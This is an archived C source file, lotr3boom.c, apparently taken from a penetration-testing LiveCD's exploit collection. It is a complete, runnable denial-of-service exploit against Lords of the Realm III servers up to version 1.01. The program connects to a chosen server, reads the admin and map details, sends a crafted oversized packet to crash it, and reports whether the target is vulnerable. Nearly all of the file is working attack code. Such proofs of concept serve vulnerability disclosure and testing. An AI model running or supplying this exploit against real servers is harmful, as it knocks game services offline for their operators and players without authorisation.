home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / lotr3boom.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  152 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10.  
  11. #ifdef WIN32
  12.     #include <winsock.h>
  13.     #include "winerr.h"
  14.  
  15.     #define close   closesocket
  16. #else
  17.     #include <unistd.h>
  18.     #include <sys/socket.h>
  19.     #include <sys/types.h>
  20.     #include <arpa/inet.h>
  21.     #include <netdb.h>
  22.     #include <netinet/in.h>
  23. #endif
  24.  
  25.  
  26.  
  27. #define VER     "0.1"
  28. #define PORT    29901
  29. #define BUFFSZ  16384   // BOOMSZ
  30.  
  31. #define SHOW(x) len = *(u_long *)p; \
  32.                 fputs(x, stdout); \
  33.                 p += 4; \
  34.                 while(len--) { \
  35.                     fputc(*p, stdout); \
  36.                     p += 2; \
  37.                 } \
  38.                 fputc('\n', stdout);
  39.  
  40.  
  41.  
  42. u_long resolv(char *host);
  43. void std_err(void);
  44.  
  45.  
  46.  
  47. int main(int argc, char *argv[]) {
  48.     struct  sockaddr_in     peer;
  49.     int     sd,
  50.             len;
  51.     u_short port = PORT;
  52.     u_char  buff[BUFFSZ],
  53.             *p;
  54.  
  55.  
  56.     setbuf(stdout, NULL);
  57.  
  58.     fputs("\n"
  59.         "Lords of the Realm III <= 1.01 server crash "VER"\n"
  60.         "by Luigi Auriemma\n"
  61.         "e-mail: aluigi@altervista.org\n"
  62.         "web:    http://aluigi.altervista.org\n"
  63.         "\n", stdout);
  64.  
  65.     if(argc < 2) {
  66.         printf("\n"
  67.             "Usage: %s <server> [port(%d)]\n"
  68.             "\n", argv[0], PORT);
  69.         exit(1);
  70.     }
  71.  
  72. #ifdef WIN32
  73.     WSADATA    wsadata;
  74.     WSAStartup(MAKEWORD(1,0), &wsadata);
  75. #endif
  76.  
  77.     if(argc > 2) port = atoi(argv[2]);
  78.  
  79.     peer.sin_addr.s_addr = resolv(argv[1]);
  80.     peer.sin_port        = htons(port);
  81.     peer.sin_family      = AF_INET;
  82.  
  83.     sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  84.     if(sd < 0) std_err();
  85.  
  86.     printf("- target   %s:%hu\n",
  87.         inet_ntoa(peer.sin_addr), port);
  88.     if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
  89.       < 0) std_err();
  90.  
  91.     if(recv(sd, buff, BUFFSZ, 0)
  92.       < 0) std_err();
  93.  
  94.     fputs("- informations:\n", stdout);
  95.     if(*buff != 11) {
  96.         p = buff + 5;
  97.         SHOW("  Server*Admin:   ");
  98.         p += 2;
  99.         SHOW("  Map:            ");
  100.     } else {
  101.         p = buff + 24;
  102.         SHOW("  Admin nick:     ");
  103.     }
  104.  
  105.     *(u_long *)buff = BUFFSZ - 4;
  106.     memcpy(buff + 4, "\x79\xff\xff\xff\xff", 5);
  107.     *(u_long *)(buff + 9) = (BUFFSZ - 14) >> 1;
  108.     memset(buff + 13, 'a', BUFFSZ - 14);
  109.     buff[BUFFSZ - 1] = 0x45;
  110.  
  111.     fputs("\n- send BOOM data\n", stdout);
  112.     if(send(sd, buff, BUFFSZ, 0)
  113.       < 0) std_err();
  114.  
  115.     if(recv(sd, buff, BUFFSZ, 0) < 0) {
  116.         fputs("\nServer IS vulnerable!!!\n\n", stdout);
  117.     } else {
  118.         fputs("\nServer doesn't seem to be vulnerable\n\n", stdout);
  119.     }
  120.  
  121.     close(sd);
  122.     return(0);
  123. }
  124.  
  125.  
  126.  
  127. u_long resolv(char *host) {
  128.     struct  hostent *hp;
  129.     u_long  host_ip;
  130.  
  131.     host_ip = inet_addr(host);
  132.     if(host_ip == INADDR_NONE) {
  133.         hp = gethostbyname(host);
  134.         if(!hp) {
  135.             printf("\nError: Unable to resolve hostname (%s)\n", host);
  136.             exit(1);
  137.         } else host_ip = *(u_long *)(hp->h_addr);
  138.     }
  139.     return(host_ip);
  140. }
  141.  
  142.  
  143.  
  144. #ifndef WIN32
  145.     void std_err(void) {
  146.         perror("\nError");
  147.         exit(1);
  148.     }
  149. #endif
  150.  
  151.  
  152.